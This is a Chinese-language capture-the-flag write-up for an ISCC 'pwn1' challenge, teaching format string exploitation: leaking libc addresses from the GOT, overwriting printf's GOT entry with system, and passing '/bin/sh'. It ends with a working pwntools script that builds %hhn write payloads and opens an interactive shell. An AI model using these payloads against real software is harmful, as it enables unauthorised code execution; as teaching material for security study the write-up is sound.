簡(jiǎn)介 :
pwn1
200
*28 solves*
歡迎來(lái)的pwn世界,這次你能學(xué)到什么新知識(shí)呢大猛?115.28.185.220:11111
[附件下載](http://iscc.isclab.org.cn/static/uploads/1ec9c1730461edfff561c395f566215d/pwn1.zip)
很明顯的格式化字符串漏洞
檢查一下可執(zhí)行程序的保護(hù)類型
程序沒(méi)有開(kāi)啟 PIE 保護(hù) , 那么也就是說(shuō)
程序的 .text .bss 等段在目標(biāo)服務(wù)器中的內(nèi)存地址中是固定的
基址為 : 0x8048000
我們知道利用格式化字符串是可以對(duì)任意內(nèi)存進(jìn)行讀寫操作的
那么這個(gè)程序我們應(yīng)該如何去利用 ?
首先需要明確的是我們這里的目的 : 拿到目標(biāo)主機(jī)的 shell
那么就是 :
shellcode 或者執(zhí)行 system("/bin/sh")
但是這里程序開(kāi)啟了 NX 保護(hù) , 因此 shellcode 這條路應(yīng)該是行不通了
那么我們就要考慮如何調(diào)用 system
要調(diào)用一個(gè)函數(shù)
- 我們首先需要知道這個(gè)函數(shù)在內(nèi)存中的地址
- 而且需要在棧上為程序布局好參數(shù)
- 還要能讓 ip 跳轉(zhuǎn)到這個(gè)函數(shù)去執(zhí)行
第一個(gè)問(wèn)題 , system 的地址如何獲取 ?
利用 printf 函數(shù) , 可以打印任意內(nèi)存的數(shù)據(jù)
那么我們就可以利用這個(gè)漏洞打印出 got 表中的函數(shù)在內(nèi)存中的地址
比如說(shuō)打印出 : puts 函數(shù)(libc中的函數(shù))
這樣我們就知道了一個(gè) libc 中的函數(shù)
根據(jù)這個(gè)函數(shù)在給定的 libc 的偏移我們就可以還原出整個(gè) libc 在內(nèi)存中的布局情況
這樣我們就可以很容易找到 system 函數(shù)在目標(biāo)服務(wù)器中的地址 , 這個(gè)問(wèn)題也就解決了
但是如果這道題并沒(méi)有給出 libc ?
應(yīng)該怎么去獲取 system 的地址呢 ?
首先 Linux 的內(nèi)核是不斷在更新的
其中的 libc 版本也隨著不斷地更新
那么當(dāng) libc 的內(nèi)容發(fā)生變化以后 , 其中函數(shù)之間的相對(duì)偏移肯定會(huì)發(fā)生變化
那么我們應(yīng)該怎么才能根據(jù)已知的函數(shù)地址來(lái)得到目標(biāo)函數(shù)地址呢 ?
做一個(gè)假設(shè) :
條件一 : 我們擁有從Linux發(fā)型以來(lái)所有版本的 libc 文件
條件二 : 我們已知至少兩個(gè)函數(shù)函數(shù)在目標(biāo)主機(jī)中的真實(shí)地址
那么我們是不是可以用第二個(gè)條件去推測(cè)目標(biāo)主機(jī)的 libc 版本呢 ?
我們來(lái)進(jìn)行進(jìn)一步的分析 :
關(guān)于條件二 :
這里我們可以注意到 : printf 是可以被我們循環(huán)調(diào)用的
因此可以進(jìn)行連續(xù)的內(nèi)存泄露
我們可以將多個(gè) got 表中的函數(shù)地址泄露出來(lái) ,
我們這樣就可以的至少兩個(gè)函數(shù)的地址 , 條件二滿足
關(guān)于條件一 :
哈哈~對(duì)了 , 這么有誘惑力的事情一定已經(jīng)有人做過(guò)了 , 這里給出一個(gè)網(wǎng)站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根據(jù)這個(gè)原理運(yùn)作的
兩個(gè)條件都滿足 , 根據(jù)這些函數(shù)之間的偏移去篩選出 libc 的版本
這樣我們就相當(dāng)于得到了目標(biāo)服務(wù)器的 libc 文件 , 達(dá)到了同樣的效果
我們?cè)賮?lái)看第二個(gè)和第三個(gè)問(wèn)題 :
那么再來(lái)做一個(gè)假設(shè)
如果我們可以修改 got 表中的某一個(gè)函數(shù)的地址到 system 的地址
那么程序在調(diào)用這個(gè)函數(shù)的時(shí)候其實(shí)調(diào)用的就是 system 函數(shù)了, 根據(jù)格式化字符串漏洞的特性 , 我們知道是可以寫任意內(nèi)存的 , 那么這樣就解決了第三個(gè)問(wèn)題 , 怎么把 ip 設(shè)置到 system 函數(shù)
可是參數(shù)要怎么傳遞呢 ?
我們注意到 , 這個(gè)程序中存在以下 libc 中的函數(shù) :
puts
scanf
printf
gets
我們仔細(xì)想一下 , 這些函數(shù)的參數(shù)都是什么樣子的 , 我們需要調(diào)用的 system 函數(shù)的參數(shù)是什么樣的
SYSTEM(3) Linux Programmer's Manual SYSTEM(3)
NAME
system - execute a shell command
SYNOPSIS
#include <stdlib.h>
int system(const char *command);
是一個(gè)字符指針 , 說(shuō)得更通用一點(diǎn)就是是一個(gè)地址
那么是不是就是說(shuō) , 如果我們可以控制上面的幾個(gè)函數(shù)的第一個(gè)參數(shù)為 "/bin/sh" 的地址
那么我們就相當(dāng)于為 system 函數(shù)傳遞了參數(shù) ?
答案是肯定的
我們現(xiàn)在來(lái)回過(guò)頭來(lái)看看程序的執(zhí)行流程 :
在跳轉(zhuǎn)到 system 之前 , 我們肯定要先調(diào)用 printf 將某一個(gè)函數(shù)的 got 表進(jìn)行覆蓋
那么我們應(yīng)該覆蓋哪個(gè)函數(shù) ?
注意到 printf 函數(shù)的參數(shù)是我們輸入的字符串的地址
如果我們先利用 printf 的格式化字符串漏洞將 printf 的 got 表修改為 system 的地址
然后程序繼續(xù)執(zhí)行
在 gets 的地方我們輸入 "/bin/sh"
然后程序自動(dòng)執(zhí)行 printf , 事實(shí)上 printf 已經(jīng)被我們修改成了 system , 而且傳遞的參數(shù)就是我們輸入的 /bin/sh
其實(shí)如果有一個(gè)函數(shù)的第一個(gè)參數(shù)是一個(gè)整形而且我們可以控制的話
我們也可以通過(guò)控制這個(gè)整形參數(shù)來(lái)達(dá)到執(zhí)行 system("/bin/sh") 的目的
這樣我們就完成了對(duì)漏洞利用過(guò)程的分析
下面我簡(jiǎn)單介紹一個(gè)格式化字符串漏洞 :
大家在學(xué)習(xí) c 語(yǔ)言的時(shí)候?qū)戇^(guò)的第一個(gè)程序就是
#include <stdio.h>
int main(){
printf("Hello world!\n");
}
這里使用到了 prinf 函數(shù)
隨著學(xué)習(xí)的深入 , 我們逐漸知道 printf 是一個(gè)參數(shù)長(zhǎng)度可變的函數(shù)
其中第一個(gè)參數(shù)格式化字符串 , 這個(gè)格式化字符串中可以包含以 % 為開(kāi)頭標(biāo)記的格式化字符串
然后 printf 函數(shù)在處理第一個(gè)參數(shù)的時(shí)候 , 當(dāng)每一次遇到 % 開(kāi)頭的標(biāo)記 , 就會(huì)根據(jù)這個(gè) % 開(kāi)頭的格式化字符串所規(guī)定的規(guī)則在堆上構(gòu)造一個(gè)新的結(jié)果字符串 , 將整個(gè)格式化字符串檢索完畢后 , 會(huì)將這個(gè)字符串輸入
我們來(lái)總結(jié)一下 printf 有哪些可以使用的 % 標(biāo)記 :
常見(jiàn)用法 :
%c 將對(duì)應(yīng)參數(shù)以字符的形式進(jìn)行格式化
%hd 以短整形的形式 (這里加上 h 表示短整形 , 也就是從內(nèi)存取值的時(shí)候只取 2 個(gè)字節(jié) (32位))
%d 以整形的形式
%ld 以長(zhǎng)整形的形式
%x 以 16 進(jìn)制的形式
%s 以字符串的形式 (注意這里與上面的有所不同 , 這里字符串的參數(shù)實(shí)際上是一個(gè)地址 , 這里的地址指向了需要被打印的字符串)
高級(jí)用法 :
每一個(gè)格式化字符串的 % 后可以跟一個(gè) 10 進(jìn)制的常數(shù) , 表示格式化后得到的字符串的長(zhǎng)度
比如說(shuō) %4c 這會(huì)打印出三個(gè)空格以及一個(gè)字符
每一個(gè)格式化字符串的 % 之后可以跟一個(gè)十進(jìn)制的常數(shù)再跟一個(gè) $ 符號(hào), 表示格式化指定位置的參數(shù) :
例如 :
int a = 1;
int b = 2;
int c = 3;
printf("%1$d, %2$d, %3$d\n", a, b, c);
// 輸出結(jié)果為 : 1,2,3
printf("%3$d, %1$d, %2$d\n", a, b, c);
// 輸出結(jié)果為 : 3,1,2
還有一些不是很常用的格式化字符串例如 :
%n
這個(gè)格式化字符串的作用是 : 將當(dāng)前已經(jīng)格式化寫入堆中的字符個(gè)數(shù)寫入到對(duì)應(yīng)的參數(shù)中
這樣說(shuō)可能有點(diǎn)抽象 , 舉個(gè)例子 :
int size = 0;
printf("123456789%n", &size);
printf 首先會(huì)掃描第一個(gè)參數(shù) ,
如果這個(gè)參數(shù)不是轉(zhuǎn)義字符或者格式化字符串
就直接將其復(fù)制到堆上已經(jīng)申請(qǐng)好的用于保存即將輸出的結(jié)果字符串的內(nèi)存地址中 ,
并將計(jì)數(shù)器加上 1
如果是轉(zhuǎn)義字符 , 則將轉(zhuǎn)義字符的結(jié)果復(fù)制到堆上 , 同理 + 1
當(dāng)遇到格式化字符串 , 也就同樣的道理
這里的計(jì)數(shù)器保存了當(dāng)前格式化得到的結(jié)果的字符數(shù)
那么當(dāng)上述 prinf 執(zhí)行結(jié)束后 , size 的值就會(huì)被修改為 9
一個(gè)值得注意的地方是 : 參數(shù)為 &size
也就是這個(gè)參數(shù)是一個(gè)內(nèi)存地址
好了 , 介紹完了格式化字符串函數(shù) , 再來(lái)介紹一下如何利用格式化字符串進(jìn)行任意內(nèi)存的讀寫的 :
首先來(lái)看任意內(nèi)存讀 :
我們知道 printf 可以使用 %s 來(lái)打印一個(gè)字符串
而且參數(shù)是一個(gè)內(nèi)存地址
那么也就是說(shuō)只要我們能控制 printf 的參數(shù) , 就可以通過(guò) %s 來(lái)打印任意的內(nèi)存數(shù)據(jù)
我們知道棧是由高地址向低地址生長(zhǎng)的
假如說(shuō) printf 只有一個(gè)參數(shù) , 這個(gè)參數(shù)是可以被我們控制的
我們就可以通過(guò)在這第一個(gè)參數(shù)中添加 % 這樣的格式化字符串來(lái)打印出棧上更高地址的數(shù)據(jù)
一般情況下 , 存在漏洞的代碼會(huì)長(zhǎng)這樣
in main(){
char buffer[0x100] = {0};
read(0, buffer, 0x100);
printf(buffer);
}
這個(gè)小程序中 , buffer 是分配在棧上的 , 而且對(duì) buffer 的分配要早于 printf 的執(zhí)行
那么也就是說(shuō) buffer 的地址是高于 printf 的棧的
那么我們就可以利用格式化字符讀取到 buffer 的內(nèi)容 , 因?yàn)楦鶕?jù)我們之前的分析 , printf 會(huì)打印更高地址的數(shù)據(jù) , 也就是 printf 將更高的地址上的數(shù)據(jù)作為了參數(shù)
假如我們的格式化字符串是 : "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
我們發(fā)現(xiàn)在第六個(gè)輸出的16進(jìn)制數(shù)的地方輸出了 : 0x41414141
那么也就是說(shuō) , 我們輸入的字符串的地址比 printf 的第一個(gè)參數(shù)的地址要高 6 * 4 = 24 個(gè)字節(jié) (32 位)
那么如果我們把第六個(gè) %08x 修改為 %s , 這樣
printf 就會(huì)將 AAAA 這個(gè)數(shù)據(jù)當(dāng)做是地址 , 進(jìn)行一次取值操作 , 將 0x41414141 這個(gè)地址中數(shù)據(jù)打印出來(lái) , 但是這里 0x41414141 這個(gè)地址是非法的 , 所以程序會(huì)報(bào)一個(gè)段錯(cuò)誤 , 并退出
可是如果我們輸入的并不是AAAA , 而是一個(gè)可讀的內(nèi)存地址的話 , 我們就可以使用 %s 來(lái)打印出這個(gè)內(nèi)存的數(shù)據(jù)了
TIP : 一般在利用的時(shí)候 :
"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
會(huì)寫成 : "AAAA%6$08x"
減少 payload 長(zhǎng)度
再來(lái)看看任意地址寫 :
需要用到 %n 這個(gè)這個(gè)格式化字符串
同樣的道理 , "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
當(dāng)打印這個(gè)格式化字符串的時(shí)候如果在第 6 個(gè)位置遇到了 AAAA
那么也就是說(shuō)我們就可以通過(guò)修改第六個(gè) %08x 來(lái)讓 printf 將AAAA視作一個(gè)地址 (%s 和 %n 都會(huì)這樣)
那么如果我們現(xiàn)在要向 0x12345678 的地址寫入數(shù)據(jù) : 0x19283746
應(yīng)該怎么辦呢 ?
如果我們這樣輸入 :
"\x78\x56\x34\x12%08x.%08x.%08x.%08x.%n."
printf 會(huì)先掃描這個(gè)字符串
通過(guò)計(jì)算 , 當(dāng)掃描到 %n 的時(shí)候應(yīng)該是已經(jīng)打印了 :
4 + 8 + 1 + 8 + 1 + 8 + 1 + 8 + 1 = 40 = 0x28
個(gè)字符
那么這個(gè) 0x12345678 的地址就會(huì)被寫入 \x28\x00\x00\x00
這樣我們其實(shí)已經(jīng)實(shí)現(xiàn)了寫內(nèi)存操作
但是我們的目的可是要向這個(gè)地址寫入 0x19283746 = 422065990 這么大的值呀
難道我們要讓結(jié)果字符串的長(zhǎng)度是 422065990 嗎 乐设? 顯然是不可能的
這里我們就要利用到 h 這個(gè)符號(hào)了
根據(jù)之前對(duì) printf 的介紹 , 我們可以知道 %hd 可以以一個(gè)短整形的格式打印數(shù)據(jù)
那么這里也是一樣的
%hn就是向兩個(gè)字節(jié)的內(nèi)存地址寫入數(shù)據(jù)
%hhn就是向一個(gè)字節(jié)
這樣的話 , 我們就大大減少了我們輸入的字符的長(zhǎng)度
但是這么多字符如果要一個(gè)一個(gè)輸入的話還是很不好
這里我們還需要用到 %c 來(lái)進(jìn)行快速格式化得到制定數(shù)量的字符
%4c 就可以得到四個(gè)字符的輸出
那么%128c , %3543c 也是同樣的道理
我一般比較習(xí)慣于使用 %hhn , 這樣比較容易控制數(shù)量
我們?cè)賮?lái)回過(guò)頭來(lái)看看之前寫入任意內(nèi)存的問(wèn)題 :
那么如果我們現(xiàn)在要向 0x12345678 的地址寫入數(shù)據(jù) : 0x19283746
首先我們需要將被寫入的內(nèi)存地址布局在棧上
這里我們使用 %hhn 那么也就是需要四個(gè)地址
"\x78\x56\x34\x12\x79\x56\x34\x12\x7a\x56\x34\x12\x7b\x56\x34\x12"
然后我們就可以使用 %7$ %8$ 來(lái)定位到這些內(nèi)存地址
我們還要控制被寫入的數(shù)據(jù)
就可以通過(guò) %c 來(lái)控制寫入的字節(jié)數(shù)
這里需要考慮一個(gè)問(wèn)題 , 就是溢出
如果我們要向一個(gè)內(nèi)存字節(jié)中寫入 0x10 當(dāng)時(shí)我們已經(jīng)打印了多于 0x10 的數(shù)據(jù)那么怎么辦呢 ?
這里也不用擔(dān)心 , 因?yàn)閱巫止?jié)的寫入是會(huì)產(chǎn)生溢出的
假如說(shuō)我們現(xiàn)在已經(jīng)向內(nèi)存中寫入了 0xbf 個(gè)字節(jié)
我們要再次寫入 0x10 , 那么我們只需要將這個(gè)計(jì)數(shù)器調(diào)整為 0x110
這樣產(chǎn)生溢出以后 寫入內(nèi)存的就是 0x10 了
這樣就解決了一次性寫入多個(gè)字節(jié)的問(wèn)題
利用腳本 :
#!/usr/bin/env python
from pwn import *
def get_number(printed, target):
print "[+] Target : %d" % (target)
print "[+] printed number : %d" % (printed)
if printed > target:
return 256 - printed + target
elif printed == target:
return 0
else:
return target - printed
def write_memery(target, data, offset):
lowest = data >> 8 * 3 & 0xFF
low = data >> 8 * 2 & 0xFF
high = data >> 8 * 1 & 0xFF
highest = data >> 8 * 0 & 0xFF
printed = 0
payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
length_lowest = get_number(len(payload), lowest)
length_low = get_number(lowest, low)
length_high = get_number(low, high)
length_highest = get_number(high, highest)
payload += '%' + str(length_lowest) + 'c' + '%' + str(offset) + '$hhn'
payload += '%' + str(length_low) + 'c' + '%' + str(offset + 1) + '$hhn'
payload += '%' + str(length_high) + 'c' + '%' + str(offset + 2) + '$hhn'
payload += '%' + str(length_highest) + 'c' + '%' + str(offset + 3) + '$hhn'
return payload
def leak(addr):
Io.sendline("1")
Io.readuntil("please input your name:\n")
payload = p32(addr) + "%6$s"
Io.sendline(payload)
leak_data = Io.read()[4:8]
return leak_data
Io = process("./pwn1")
Io.readuntil("plz input$")
# leak printf addr
printf_got = 0x0804A010
print "[+] got.printf : [%s]" % (hex(printf_got))
printf_addr = u32(leak(printf_got))
print "[+] Address of printf : [%s]" % (hex(printf_addr))
# get the address of system
system_offset = 0x0003a840
printf_offset = 0x000497c0
system_addr = printf_addr - printf_offset + system_offset
print "[+] Address of system : [%s]" % (hex(system_addr))
# write got.print to address of system
payload = write_memery(printf_got, system_addr, 6)
print "[+] Payload : %s" % (repr(payload))
Io.sendline("1")
Io.sendline(payload)
# write '/bin/sh'
Io.sendline("1")
Io.sendline("/bin/sh")
# interactive
Io.interactive()
參考資料 :
黑客之道-漏洞發(fā)掘的藝術(shù)